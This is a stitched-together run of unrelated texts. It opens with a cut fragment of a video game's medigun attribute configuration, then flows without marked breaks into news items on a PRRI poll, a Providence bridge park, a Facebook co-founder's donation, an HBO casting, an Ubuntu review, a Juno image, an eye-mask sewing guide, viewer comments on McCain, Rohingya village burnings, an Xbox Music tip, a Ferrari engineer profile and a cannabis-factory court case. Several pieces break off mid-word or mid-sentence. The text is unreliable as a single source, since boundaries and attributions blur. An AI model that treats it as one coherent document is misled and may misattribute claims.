"attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate bonus" "min_value" "1.05" "max_value" "1.1" "group" "only_on_unique" "description_string" "#Attrib_UberchargeRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1090" { "name" "Tier 1 ubercharge rate bonus" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate bonus" "min_value" "0" "max_value" "0" "group" "invalid_tier" "description_string" "#Attrib_UberchargeRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1091" { "name" "Tier 2 ubercharge rate bonus" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate bonus" "min_value" "0" "max_value" "0" "group" "invalid_tier" "description_string" "#Attrib_UberchargeRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1092" { "name" "Tier 3 ubercharge rate bonus" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate bonus" "min_value" "1.05" "max_value" "1.05" "group" "attrib_uber" "description_string" "#Attrib_UberchargeRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1093" { "name" "Tier 4 ubercharge rate bonus" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate bonus" "min_value" "1.1" "max_value" "1.1" "group" "attrib_uber" "description_string" "#Attrib_UberchargeRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1094" { "name" "Tier 5 ubercharge rate bonus" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate bonus" "min_value" "1.15" "max_value" "1.15" "group" "attrib_uber" "description_string" "#Attrib_UberchargeRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "11" { "name" "overheal bonus" "attribute_class" "mult_medigun_overheal_amount" "attribute_name" "Minor overheal bonus" "min_value" "1.05" "max_value" "1.15" "group" "only_on_unique" "description_string" "#Attrib_OverhealAmount_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1100" { "name" "Tier 1 overheal bonus" "attribute_class" "mult_medigun_overheal_amount" "attribute_name" "Minor overheal bonus" "min_value" "1.08" "max_value" "1.08" "group" "attrib_heal" "description_string" "#Attrib_OverhealAmount_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1101" { "name" "Tier 2 overheal bonus" "attribute_class" "mult_medigun_overheal_amount" "attribute_name" "Minor overheal bonus" "min_value" "1.12" "max_value" "1.12" "group" "attrib_heal" "description_string" "#Attrib_OverhealAmount_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1102" { "name" "Tier 3 overheal bonus" "attribute_class" "mult_medigun_overheal_amount" "attribute_name" "Minor overheal bonus" "min_value" "1.15" "max_value" "1 |
of GOP voters would like a different Republican nominee in the next presidential election, while 63 percent would like to keep President Trump on their party's ticket.
PRRI also asked voters about specific policy topics, partisanship, and the midterm election in 2018. The poll found voters sharply divided on the issues, and leaning Democratic in the upcoming race. One point on which Republicans and Democrats can agree, however, is in their views of each other. Within each party, a mere 5 percent thought the other party is "moving the country in the right direction," while about 4 in 10 say the other party is "misguided but not necessarily dangerous" and more than 5 in 10 say their political opponents' "policies are so misguided they pose a threat to the country."
Read more of the survey results here. Bonnie KristianThe Rhode Island Department of Transportation (RIDOT) announced today that it will open the new linear park on the historic Washington Bridge in Providence on weekends beginning Saturday, May 2; this to allow the public to take advantage of the spring weather and enjoy the new bike path as soon as possible. The park will be open on Saturdays and Sundays from dawn to dusk; this schedule will be in effect until the project is completed and the park is fully opened in late June.
As part of this project, the original bike path - which was closed in 2012 for rehabilitation - has been transformed into an 11-foot bikeway with a separate 7-foot walking path and a center plaza offering scenic overlooks, rest areas, greenery, and information on the history of the bridge and surrounding communities.
"Building more livable, walkable communities not only promotes healthier lifestyles but also supports our economy," Governor Gina M. Raimondo said. "Accommodating all types of travel will make Rhode Island a more attractive place to live and work. This new park will be a shining example of Rhode Island's continued commitment to building a 21st century transportation system."
"Just in time for spring, Providence residents and all Rhode Islanders are gaining access to an urban greenspace and recreational opportunity that will beautify the area and strengthen the sense of place and community in Providence," said Congressman Jim Langevin. "I'm grateful that the DOT and city leaders have decided to give cyclists and pedestrians limited access, and I look forward to seeing the finished product of this much-anticipated renovation."
"This park will provide a beautiful vantage point to take in our Capital City, and make Providence a safer and healthier place to enjoy the outdoors," said Senator Sheldon Whitehouse. "Congratulations to RIDOT, the City of Providence, and all the Rhode Islanders who will benefit from this new space."
"Investing in improvements to our public parks creates good-paying jobs and makes Rhode Island an even better place to live, work, and raise a family," said Congressman David Cicilline. "I thank RIDOT for their work to open the new linear park and look forward to celebrating the completion of this project in a few months."
This complex project involved not only replacing the original path but also rebuilding portions of the bridge to accommodate a wider path as well as a park on the bridge's center span. Many of the bridge's historical features - such as the multi-arch granite façade and the two operator's houses that once controlled a drawbridge connecting Providence and East Providence - were rehabilitated. The granite pylons and bronze plaques on each end of the bridge were also restored.
The $22 million project included the reconstruction of the Warren Avenue Ramp Bridge, which carries traffic from I-195 East to Veterans Memorial Parkway (Exit 4) in East Providence; the new ramp opened to traffic in September 2013.
"This project was always about more than just rebuilding a bike path," RIDOT Director Peter Alviti Jr. said. "The Washington Bridge is part of our collective history, and with the opening of the new linear park, we are positioning it to play an important role in our future as well. In addition to restoring a vital connection for bike and pedestrian commuters, it will support development in the area while also celebrating the rich history of this bridge and its neighboring communities. In short order, the new park is sure to emerge as one of our state's crown jewels."
While the path will open for weekends, users should be aware that the park remains a work zone, and construction activities will continue project-wide, Monday through Friday; the work remaining includes the installation of concrete sidewalks, benches and informational signs at the center plaza and some work on the underside of the bridge.
When the project wraps up this summer, the new linear park will be dedicated in honor of the late George Redman, an East Providence resident and bicycle advocate who was instrumental in the creation of the East Bay Bike Path 25 years ago.
To sign up for weekly updates on this and other active RIDOT projects around the state, contact [email protected]. Visit www.dot.ri.gov or follow RIDOTnews on Facebook or Twitter for timely information on construction projects and traffic conditions.
Schedule of work is weather-dependent and subject to change; RIDOT will make every reasonable effort to accelerate the work where possible.
Contact: Rose Amoros (401) 222-1362, Ext. 4450Share
Facebook may not be trying to influence what decision you make at the polls come November, but that doesn’t mean its founders are staying as neutral. Far from it, in fact. On Friday, Facebook co-founder Dustin Moskovitz wrote a Medium blog post entitled “Compelled to Act,” in which he explained the impetus behind his family’s decision to donate $20 million to help Democrats in the 2016 election.
Noting that this is the first time that he and his wife Cari will be donating to a political campaign, Moskovitz noted, “This cycle is different.”
“The polarization in America today has yielded a race that is about much more than policies and ideas,” he continued. “It has become a referendum on who we want to be — as individuals, as a nation and as a society.”
As such, the billionaire is doing his part to ensure that Donald Trump and his campaign “built on fear and hostility” do not make it to the White House. His $2o million donation will be split among a number of organizations: the Hillary Victory Fund, the DSCC, the DCCC, the League of Conservation Voters Victory Fund, and For Our Future PAC are included. Of these, the LCV Victory Fund and For Our Future PAC will receive the largest contributions of $5 million each.
The decision to make this magnitude of a donation was not easy, the co-founder wrote, “particularly because we have reservations about anyone using large amounts of money to influence elections.” However, it seems as though desperate times call for desperate measures.
“We hope these efforts make it a little more likely that Secretary Clinton is able to pursue the agenda she’s outlined, and serve as a signal to the Republican Party that by running this kind of campaign — one built on fear and hostility — and supporting this kind of candidate, they compel people to act in response,” Moskovitz concluded. “We are not the only ones being activated so strongly during this election.”HBO has officially announced Season 3 of True Detective, which we told you earlier this summer would star Mahershala Ali.
Jeremy Saulnier will direct the third season of the crime anthology series with Nic Pizzolatto.
The upcoming season will center around "a macabre crime in the heart of the Ozarks, and a mystery that deepens over decades and plays out in three separate time periods. Ali will play the lead role of Wayne Hays, a state police detective from Northwest Arkansas."
Nic has written truly remarkable scripts. With his ambitious vision and Mahershala Ali and Jeremy Saulnier aboard, we are excited to embark on the next installment of True Detective," said HBO president Casey Bloys.
“I’m tremendously thrilled to be working with artists at the level of Mahershala and Jeremy. I hope the material can do justice to their talents, and we’re all very excited to tell this story," said Pizzolatto.
HBO hasn't revealed when the season will air or when production begins.The latest version of Ubuntu, Raring Ringtail, is billed as business and user-friendly. There are still significant obstacles to its widespread adoption in the enterprise, but if your employees only access applications via the browser, and your company doesn't use complex spreadsheet macros or document formats, then Ubuntu 13 might be worth considering.
We had no trouble installing it from scratch, and no trouble upgrading from the previous version of Ubuntu. Installation took about 20 minutes total, we saw no driver issues, and Wi-Fi worked right out the box. MP3 support is not included by default, but is an option during the installation process.
[ALSO: 10 things we love about Ubuntu 13 and 5 things we hate]
The biggest problem we had with our initial install was that we couldn't run Google Chrome. The open-source version of the browser, Chromium, worked fine. The Google Chrome dependencies problems were fixed in late May, however, and we were since able to download and install the browser.
Snappy looks
By default, Ubuntu 13.04 comes with the Unity 7 interface. It's nice to look at, and fairly snappy. Existing Ubuntu users who like the Unity style will already be familiar with it. Those who don't like Unity have plenty of other user interfaces to choose from. Unlike Windows and Apple platforms, Linux separates the back-end functionality of the operating system from the front-end look-and-feel.
This version of Ubuntu is supposed to be faster, but we didn't see any significant speed improvements in our applications.
The latest version of Ubuntu, in an attempt to attract more users, also comes with social media support, 5GB of free cloud storage with Ubuntu One, and access to the Steam game platform.
[BACKGROUND: 10 things we love and hate about Ubuntu]
In our tests, we couldn't get the social media integration to work consistently – Tweets would appear on the desktop for a while, then disappear again. A Facebook launch icon would show up, sometimes, when Firefox was running, but not other times. There's also a new Photo Lens feature, which allows you to see your photos from Facebook, Google Plus, Picasa and other social accounts all in one place.
The built-in search functionality is fast, and powerful, and includes online search results as well. The downside is that it also includes Amazon results. Turning off online search turns off Amazon, but also useful online results such as Photo Lens.
There is also now paid software for download in the software center. This is good news, since we might start seeing more developers port their applications to the platform. However, given the small installed base of Linux on the desktop, it's doubtful that there will be a sudden influx of developers offering business-friendly applications right away.
One of the ways in which this release is simpler than previous ones is that, by default, there is only one workspace. Windows users are already used to working in a single workspace, but Linux users have traditionally been able to work in multiple workspaces simultaneously. In practice, what this means is that an experienced user might have all their work applications and windows open in one workspace, and all their games and social media in another, and with a click of a button be able to switch from one to the other when the boss walked by.
For newcomers to Linux, however, what this means is that they'd have all their applications up and running, have several browser windows open, be happily switching between documents and then accidentally click the button to switch to a new workspace and everything instantly vanishes. They're looking at an empty desktop and all their documents, windows and applications are gone, resulting in panicked calls to tech support.
Having a single workspace by default does make the learning curve easier for people switching from Windows. Power users can still get the multiple workspace feature back, however, in the settings. It's under Appearance, under the Behavior tab, where you need to click on “Enable Workspaces.”
Can it replace Windows?
If I'm a Windows user sitting down at a Linux machine for the first time, the first thing that jumps out at me is that there's a column of icons to the left of the screen, instead of at the bottom where I would expect a launch bar to be on a PC or Mac. The power button is at the top right instead of the bottom left.
This is different from both the PC and the Mac, and there isn't any good reason for it to be different. Moving the launcher bar and power buttons to familiar locations would make the desktop more approachable for Windows and Apple users, but as it is, it is relatively easy to adjust to.
The function of the launch bar icons isn't immediately obvious for all the icons, but users who take a couple of minutes to explore them can quickly figure them out.
The first one pulls up your most used applications, and lets you search for others, kind of like the Start button in Windows. The second is your documents folder. Then there's the Firefox browser, and launchers for word processing, spreadsheet and presentation applications. The next icon is the software center, Ubuntu's answer to the Apple App Store. It makes it easy to find and install software. The next icon is for Ubuntu One, which offers free cloud storage similar to DropBox. Then you've got a button for Amazon and a button for the system settings.
That's a lot of useful functionality, reasonably easy to figure out even for people totally new to Linux.
When I sit down at a new computer, the first thing I usually change is the desktop background. Right-clicking on the Ubuntu desktop does bring up the display settings window, as you'd expect, but trying to change the desktop wallpaper to any solid color results in an all-black background. This is a known bug, and the solution involves directly editing the configuration settings – not something an average user is likely to want to do.
This illustrates what is probably the single biggest challenge for newcomers to Linux. Online instructions for how to do things often involve dropping down to the command-line interface. This may feel natural to experienced Linux users, or to network administrators and software developers, but not to regular computer users who have long since gotten used to being able to do everything in a point-and-click environment.
Other than that, arranging the desktop to suit your tastes is easy. Right-click on any file, program, or folder to create a shortcut – called a link in Ubuntu – and drag it to the desktop. Or drag icons directly to the desktop from the launcher. This is all very similar to how it works in Windows, so newcomers should have a relatively easy time of it.
The next annoyance is that the little icons to minimize, maximize and close a window are at the top left instead of at the top right.
It is possible to fix it this but only to a limited extent, with a free program called Unity Tweaks. I installed it through the Ubuntu software center, and was able to move the buttons to the top right of the windows. Sometimes. When windows were maximized to take up the whole screen, they'd move back to the top left again. This is annoying, and difficult to get used to, especially if you switch back and forth between Linux and Windows computers on a regular basis.
Once I had things set up – or not set up – the way I liked them, I moved on to doing some real work. The Firefox browser is pre-installed, Google Chrome is available, but not Internet Explorer. There's no Microsoft Office, but LibreOffice is pre-installed and is a decent alternative for simple documents and spreadsheets.
I've been using LibreOffice and OpenOffice for years without any problems. In fact, I like having the option to export to PDF built right in. Even “track changes” are supported. However, you may run into problems if your spreadsheets have macros or your Word documents have extremely complex formatting.
In fact, the most obvious difference between say, Word, and LibreOffice Writer for most users will be that the menu bar, the one with File, Edit, Format, Tools, and other drop-down menus, seems to be missing. It's not, but it took me a while to track it down. It's at the top of the screen, just invisible, and only appears when you mouse over it.
When we first installed this version of Ubuntu right after it came out, I would have said that these annoyances, while minor individually, add up to significant obstacles to adoption for the average Windows user, and that the Linux laptop was sentenced to permanent duty as the living room table video-watching and Internet-browsing machine. But then my regular Windows desktop went into the shop for repairs, and I was stuck using the Linux laptop for work.
And after a couple of weeks of use, however, I've learned to deal with the placement of the window close icons and the disappearing application menu bars. And I found that I was able to work on the Ubuntu machine with only a couple of minor difficulties.
Those difficulties were those pesky disappearing file menus and windows close buttons, and the lack of some critical software.
I use Filemaker, for example, which is not available for Linux, so I was not able to modify the database structure or layouts. But since we run Filemaker through a hosting company, I could still access the database itself and do regular work in it via a browser.
Bottom line? Switching a Windows user to Ubuntu is not much of a difference than switching to, say, Windows 8, as long as LibreOffice meets their needs, and all the other applications they use are either available for Linux, or accessible via a browser.
As more and more enterprise applications are migrated to a Web-based delivery model, or are replaced by cloud-based solutions, migrating to Linux might become feasible for more companies.
Maria Korolov is a freelance writer. She can be reached at [email protected]. Researcher Anastasia Trombly contributed to this report.Annotated Version
Click on the image for larger annotated version
NASA's Juno spacecraft obtained this color view on June 21, 2016, at a distance of 6.8 million miles (10.9 million kilometers) from Jupiter.
As Juno makes its initial approach, the giant planet's four largest moons -- Io, Europa, Ganymede and Callisto -- are visible, and the alternating light and dark bands of the planet's clouds are just beginning to come into view.
Juno is approaching over Jupiter's north pole, affording the spacecraft a unique perspective on the Jupiter system. Previous missions that imaged Jupiter on approach saw the system from much lower latitudes, closer to the planet's equator.
The scene was captured by the mission's imaging camera, called JunoCam, which is designed to acquire high resolution views of features in Jupiter's atmosphere from very close to the planet.
NASA's Jet Propulsion Laboratory, Pasadena, Calif., manages the Juno mission for the principal investigator, Scott Bolton, of Southwest Research Institute in San Antonio. The Juno mission is part of the New Frontiers Program managed at NASA's Marshall Space Flight Center in Huntsville, Ala. Lockheed Martin Space Systems, Denver, built the spacecraft. JPL is a division of the California Institute of Technology in Pasadena.
More information about Juno is online at http://www.nasa.gov/juno and http://missionjuno.swri.edu.Oh how happy I am to craft! Continuing from the crafts projects with my Heal’s Fabric bundle, I decided to make an eye mask. I’ve become quite reliant on them recently and are SO handy for me when I’m in hospital as the lights never really get turned off.
The design of fabric that I chose was the Heal’s 1810 Killary Fabric In Cloud Study By Emily Patrick. This painterly cloudscape pattern is ideal for my eye mask and will help me drift off to a dreamy peaceful sleep.
Making an eye mask is surprisingly easy, I may not have the finesse to sew neatly just yet. However I do feel it’s best to just follow a few guide lines and practise a bit.
Items that you will need :
Fabric (this will be the facing fabric so chose pattern or plain, I love my cloud fabric)
Lining fabric, make sure you choose a soft fabric as this will be resting against your eyes. I chose I light soft cotton in a nice grey colour.
Cardboard, this is used as a stencil for your eye mask shape.
Pencil for drawing eye mask shape on your cardboard.
Fabric scissors.
Scissors or craft knife to cut cardboard
Sewing machine
Sewing thread
Either velcro or elastic sewing thread
Pins
Fabric pen, if you wish to decorate
Iron
Draw a basic eye mask shape on your card board. You can either measure your face, I drew a rough shape around my glasses with a 2cm gap (18cm in width). Then draw a boarder around that shape, this will be your seam allowance (ideally 1.5cm). Cut out the cardboard shape, I like to use my fancy brass HAY scissors.
Then with fabric scissors, cut both of the fabrics to the shape of the card cut-out.
I made two fabric straps with the grey lining fabric. I made mine roughly 30cm x 4cm, leaving 5 cm of the length for sewing the seams, once sewn on they should be about 25cm each. You can make them smaller if you need to.
Once you have sewn around the edge and left a gap. Pull the fabric strap, this will help turn the eye mask inside out, revealing the outside of the mask. Top tip : use a crochet hook or something similar to push out the edges. Iron this flat as it will help you on your next steps. Place and pin the second fabric strap in the open gap and sew this shut.
Sew a clean edge around the eye mask.
Now for a bit of fun! With your fabric pen (I have Marabu 070 3 mm Textil Painter Plus, White), draw some sleepy eyes onto the fabric. Once this dries, iron it to fix the pattern. This can be washed at 40 degrees and shouldn’t fade.
Now you have both soft fabric straps attached, you will need something to secure them together. I chose velcro, which was a little harder to work with than I anticipated, reason being the glue on the velcro strips gunked up my sewing needles!
So there we have it, my sleepy eye mask. 🙂
I thought I’d try another eye mask with an elastic strap, using a technique called ‘shirring’. I followed this tutorial on pretty-ditty.blogspot.co.uk, basically all you do is replace your bobbin thread with elastic thread. Measure the back of your head from ear to ear for a basic strap size.
Tip is to reverse stitch the edges to stop the elastic thread from pulling out. I think it makes quite a nice strap for the eye mask so I might make another cloud sleepy eye mask using this technique. The patterned fabric used in the second eyemask is Heal’s 1810 Killary Fabric In Trees by Cressida Bell
I hope you have fun making your masks! If you get stuck, feel free to ask any questions, I’d be happy to help. Send me some links with your creations, I’d love to see them.
Happy crafting!
H xJohn McCain said 'Raising taxes in a tough economy isn't patriotic.'
FROM CNN's Jack Cafferty:
When you graduate 894th out of a class of 899, eventually it will show up.
And John McCain's mediocre performance at the Naval Academy is showing up big time this week in his total lack of understanding of the nation's financial crisis.
He told us he didn't know much about the economy… now he's proving it.
So much so that the Wall Street Journal, perhaps America's leading financial publication, is blasting McCain over what its editorial board sees as inaccurate and, "unpresidential" comments about the crisis in America's financial system.
If you're a Republican running for president of the United States and the Wall Street Journal basically says you're an incompetent buffoon, you're in serious trouble.
Specifically the paper pointed to comments McCain made yesterday about SEC Chair Christopher Cox.
McCain pointed the finger at Cox and said if he were president, he'd fire him for "betraying the public's trust."
The Wall Street Journal called that assault "both false and deeply unfair."
The Journal also said, "In a crisis voters want steady, calm leadership… not easy, misleading answers that will do nothing to help."
Here’s my question to you: What does it mean when the Wall Street Journal slams Mcain on the economy?
Interested to know which ones made it on air?
Bob writes:
I don't think so. I'm not going to panic. I think the worst thing a voter can do right now is vote the financial crisis. Right now I'm going to vote the future not the present. I hope that makes sense.
Michael from Bedford, New York writes:
In 2004, when Bush ran against Kerry, he always made a special point of celebrating new home ownership. Being a realtor at that time I saw the "NINJA" loans (no income, no job, no assets) being given and I wondered how the inevitable failures would be spun. Yesterday I saw. McCain who has always been against strong government oversight for the lending business has changed his mind and is railing against the greed. What a clown!
Alexia from Seattle, Washington writes:
McCain doesn't know how many houses he owns. He wouldn't know a financial crisis if it hit him in the face. Trump endorsed him, which makes complete sense because what they have in common is neither knows how many houses they own. Because of the financial crisis, I couldn't buy a house right now if my life depended on it.
Bob writes:
No, it will not change my vote. I'm voting "third party." Both McCain and Obama are a part of the problem and my vote means too much to me to give to either of them. Nor do I intend to vote for any incumbents. At some point we need to clean the rascals out.
Shannon writes:
No, the financial crisis has made me more sure of my vote for Obama. And just for the record I am a 54 year-old, white female, from south Alabama who has voted Republican since my 18th birthday. Thank God I have finally seen the light.
Mark from Pennsylvania writes:
Yes, I now want to vote for Obama twice.
Marty writes:
It means that traditional Republican organizations are trying to separate themselves from McCain just as McCain is trying to separate himself from Bush. The only question that leaves is "why?" My guess is because they are smart enough to look down the tracks and see the train wreck coming.
Marjorie from New York writes:
I will get back to you, Jack, after I am done jumping up and down. The Wall Street Journal, and then Obama looking so presidential today at the presser. I cannot stop screaming for joy. McCain’s goose is so cooked.
Tiffany writes:
It means the Wall Street Journal is sick of McCain's off-the-cuff, meaningless remarks. McCain has no ideas of his own. He hijacked Obama's change theme, now he's trying to hijack his economic plan. His slogan should be "what Obama said".
Joe from St. Petersburg, Florida writes:
It means someone's mask is coming off over a month before Halloween, instead of a few hours after Halloween. Thanks to the Wall Street Journal for ringing some bells which hopefully will wake up many voters before November 4, 2008!
John from Fort Collins, Colorado writes:
When the conservative WSJ takes a Republican presidential candidate to the woodshed over his economic comments, he has to be mired pretty deep in the mud. It is unbelievable that any candidate running for president of the United States could be this ill-informed or this poorly-advised.
Jan writes:
That they are not going to be referred to as "My Friends" anytime soon. Lucky them.Smoke rises from a burned house in Gawdu Zara village, northern Rakhine state, Myanmar Thursday, Sept. 7, 2017. Journalists saw new fires burning Thursday in the Myanmar village that had been abandoned by Rohingya Muslims, and where pages from Islamic texts were seen ripped and left on the ground. (AP Photo)
BANGKOK (AP) — Journalists saw new fires burning Thursday in a Myanmar village that had been abandoned by Rohingya Muslims, and pages ripped from Islamic texts that were left on the ground. That intensifies doubts about government claims that members of the persecuted minority have been destroying their own homes.
About two dozen journalists saw the fires in Gawdu Zara village in northern Rakhine state on a government-controlled trip.
About 164,000 Rohingya from the area have fled across the border into Bangladesh in less than two weeks since Aug. 25, when Rohingya insurgents attacked police outposts in Gawdu Zara and several other villages, the U.N. refugee agency said Thursday.
The military has said nearly 400 people, mostly Rohingya, have died in clashes and that troops were conducting “clearance operations.” It blames insurgents for setting the villages on fire, without offering proof.
Rohingya who have fled Myanmar, however, have described large-scale violence perpetrated by Myanmar troops and Buddhist mobs — setting fire to their homes, spraying bullets indiscriminately, stabbing civilians and ordering them to abandon their homes or be killed.
On the Myanmar side of the border, reporters saw no Rohingya in any of the five destroyed villages they were allowed to tour Thursday, making it unlikely they could have been responsible for the new fires.
An ethnic Rakhine villager who emerged from the smoke said police and Rakhine Buddhists had set the fires. The villager ran off before he could be asked anything else.
No police were seen in the village beyond those who were accompanying the journalists. But about 10 Rakhine men with machetes were seen there. They looked nervous and the only one who spoke said he had just arrived and did not know how the fires started.
Among the buildings on fire was a madrassa, an Islamic school. Copies of books with texts from the Quran, Islam’s holy book, were torn up and thrown outside. A nearby mosque was not burned.
Another village the journalists visited, Ah Lel Than Kyaw, was blackened, obliterated and deserted. Cattle and dogs wandered through the still-smoldering remains.
Local police officer Aung Kyaw Moe said 18 people were killed in the village when the violence began last month.
“From our side, there was one immigration officer dead, and we found 17 dead bodies from the enemy side,” he said.
He said the fires were set Aug. 25, though some continued to burn Thursday. Virtually all buildings in the village seen by journalists had been burned, along with cars, motorbikes and bicycles that fleeing villagers left behind. A mosque was also damaged.
Columns of smoke could be seen rising in the distance, and distant gunshots could be heard.
“They burned their own houses and ran away,” Aung Kyaw Moe said. “We didn’t see who actually burned them because we had to take care of the security for our outpost.... But when the houses were burned, Bengalis were the only ones in the village.”
Buddhist-majority Myanmar refers to Rohingya as Bengalis, contending they migrated illegally from Bangladesh, though many Rohingya families have lived in Myanmar for generations.
Burning the homes of Rohingya can make it less likely they will return. Tens of thousands of Rohingya were driven from their homes in another wave of violence in 2012. Many are now confined to camps, while the land they once held is either vacant or occupied by Buddhist squatters.
Nay San Lwin, a Rohingya activist and blogger based in Europe with contacts in northern Rakhine, said that according to witnesses, the Myanmar military, border guard police and Rakhine villagers came to Ah Lel Than Kyaw and burned the houses from Monday to Wednesday.
On Aug. 25, he said, young men with swords and knives tried to attack the border guard outpost in Aley Than Kyaw but failed. The authorities took away all Buddhist villagers, and many Rohingya villagers fled on their own.
Nay San Lwin said the remaining villagers left after the military warned them they would be shot if they did not leave.
Myanmar’s leader, Aung San Suu Kyi, has dismissed the Rohingya crisis as a misinformation campaign.
According to her office, she said such misinformation helps promote the interests of “terrorists,” a reference to the Rohingya insurgents who attacked security posts on Aug. 25.
The crisis response director for Amnesty International called Suu Kyi’s response “unconscionable.”
On Thursday, Suu Kyi told reporters her government was working to improve security and livelihoods for Rohingya, but that “it’s a little unreasonable to expect us to resolve everything in 18 months” since her administration took office.
With Rohingya fleeing by the thousands daily across the border, pushing existing camps in Bangladesh to the brink, the government in Dhaka pledged to build at least one more.
The International Organization for Migration has pleaded for $18 million in foreign aid to help feed and shelter tens of thousands now packed into makeshift settlements or stranded in a no man’s land between the two countries’ borders.
U.N. agencies said they were distributing food to new arrivals, about 80 percent of whom were women and children, joining about 100,000 who had already been sheltering in Bangladesh after fleeing earlier convulsions of violence in Myanmar.
Aid workers said many were arriving with violence-related injuries, severe infections or childbirth complications.
Bangladesh Prime Minister Sheikh Hasina said Thursday that her country offered refuge to Rohingya on humanitarian grounds, but called it a “big burden for us”.
The “international community must take the responsibility,” she said.
Hasina’s government has taken an initiative to identify the refugees to prevent terrorists from entering Bangladesh under disguise, the local Bangladesh Sangbad Sangstha news agency reported, quoting the prime minister’s Press secretary Ihsanul Karim.
With so many Rohingya fleeing, it is unclear how many remain in Myanmar amid reports of soldiers burning villages and killing civilians.
Before the recent violence, aid experts estimated about 1 million Rohingya were living in northern Rakhine state. But aid agencies have been unable to access the area since.
Turkish First Lady Emine Erdogan and Foreign Minister Mevlut Cavusoglu visited a Rohingya camp in Bangladesh and then met with Hasina.
They said Myanmar agreed to allow its aid officials to enter Rakhine state with a ton of food and goods for Rohingya. They also pledged continuing support for the Rohingya.
___
Associated Press writers Muneeza Naqvi in Cox’s Bazar, Bangladesh, Grant Peck in Bangkok, Ashok Sharma in New Delhi and Edith M. Lederer at the United Nations contributed to this report.Update 24/10/12: After leaving the Xbox Music client overnight it seems to have now “discovered” all my Zune pass music by itself so before trying the technique below you might want to try leaving it for a bit to see if it finds anything new (or reboot a few times).
Today (October 23rd) Microsoft released it’s update to the Xbox Music app for Windows 8 and for the first time have enabled the application for it’s “new” Xbox Music (more a rebrand of Zune Pass but if your reading this you knew that already).
While the app has a lot going for it there are some weak points and features that are still missing… Things like the lack of ability to view an Artist’s albums that you have downloaded from the “Explore artist” screen.
Anyway after playing about in the app for 5 minutes I noticed that my collection of music seemed significantly reduced from the collection I had in Zune. After a bit of experimentation it became clear that Xbox Music was only showing MP3’s or non-DRM files from my music libraries & that it wasn’t possible to play any Zune Pass content from the App. I assume they have changed the DRM process so that the files aren’t compatible between both apps any more.
At first glance this seems like a bit of a pain & that you might have lost all the hard work you put into your Zune collection but worry not, there is a fairly simple process you can use to make Xbox Music re-download (or stream) the collection that you have built up in Zune. Just follow the steps below and let me know how you get on….:
Open Zune and go to the “Collection” screen
Use the drop down filter to show only “Zune Pass content”
Click on the “Artists” column and select all (Ctrl+A)
Then repeat the process for the “Songs”
Right click on the songs and “add to playlist”
Make a new playlist called something like “Zune music”
The playlist needs to be saved in your Music Library so if it’s not go find it (you can see in Zune settings where it wants to store things) and copy it into the library
Next open on Xbox Music and navigate to the “My music” then “Playlists” screen
Swipe (or right click) from the bottom to get the context menu and choose “import playlists”
Accept the message and you should see your “Zune Music” playlist appear
You might also get some duplicates but you can right click to select and delete them
Now highlight (touch, or left click) on the “Zune Music” playlist
Have a quick scan up and down the list to make sure it looks like everything has been found (greyed out music can’t be matched online)
Click off the list of songs and then select your playlist using right click (or side swipe)
Bring up the bottom context menu & you should have the option to “Download”
This will now make Xbox Music go away and re-download all your old Zune Pass songs…
It will place them in your Music library in a folder called “Xbox Music\Xbox Music Pass”
Hope that helps a few people, do let me know how you get on or if you find a quicker way to do it!
Ben.A frequent topic on these pages concerns Silicon Valley and its ongoing attempt to disrupt the car industry. But over in Europe, a former Ferrari F1 engineer has some thoughts of his own on the matter and thinks his company—Cogisen—has a better way of doing things. Christiaan Erik Rijnders spent several years in the early 2000s working on Ferrari's simulator, simulations, and vehicle dynamics, during which time Ferrari utterly dominated the sport.
Through that work, he absorbed a few important lessons on the way successful R&D programs should run, and they're lessons he's been applying more recently to the problem of image processing. In particular, Cogisen has some very cool gaze-tracking algorithms (earning the startup a Horizon 2020 grant from the European Union) that may have an important role to play in autonomous vehicles. We spoke to Rijnders recently to find out more about his time at the Scuderia and to talk about where he thinks most traditional tech startups are going wrong.
"On the inside [of Ferrari], it was everything it was cracked up to be; you really got to see what proper engineering is and proper management is," he told Ars. "You'd have world-class engineers who were all very strong in theoretical fundamentals of what engineering is, who |
Debra Wright were devastated when Chloe, four, died from cancer in 2004 and then their elder daughter Ella, nine, died in 2007.
Echoing the hit-television show Breaking Bad, Mr Wright, 47, turned to cannabis in a bid to cope. They started producing the drug and within a year headed a multi-million pound empire, using Vietnamese illegal immigrants as cheap labour.
Over five years they produced £4 million of cannabis at seven factories across Kent.
But their luck ran out in April this year when police got suspicious and they fled to a Spanish villa bought with their drug money.
Two months later they were extradited back to the UK and on Monday they were jailed at Maidstone Crown Court.
One of the couple's cannabis factories in Kent. (SWNS)
Mrs Wright, 48, was jailed for three years and her husband was sentenced to five years and eight months behind bars.
Judge Michael Carroll told Mrs Wright he had "tailored" her sentence so she would be back with their remaining 17 year-old daughter "before not too long."
The court heard how the couple, from Herne Bay, Kent, first lost their four-year-old daughter Chloe to an aggressive form of cancer in July 2004.
They remortgaged their home and generous supporters helped raised more than £260,000 to send the youngster 8,000 miles to doctors in Texas.
But the experimental therapy failed to save Chloe from the rare form of cancer called rhabdomysarcoma.
Three years later the couple were plunged even deeper into grief when their other daughter Ella, nine, died.
They claimed she was infected with staphylococcus bacteria after a trip to the hospital.
A year later Mr Wright's addiction had engulfed him and he enlisted his wife to launch a series of cannabis factories.
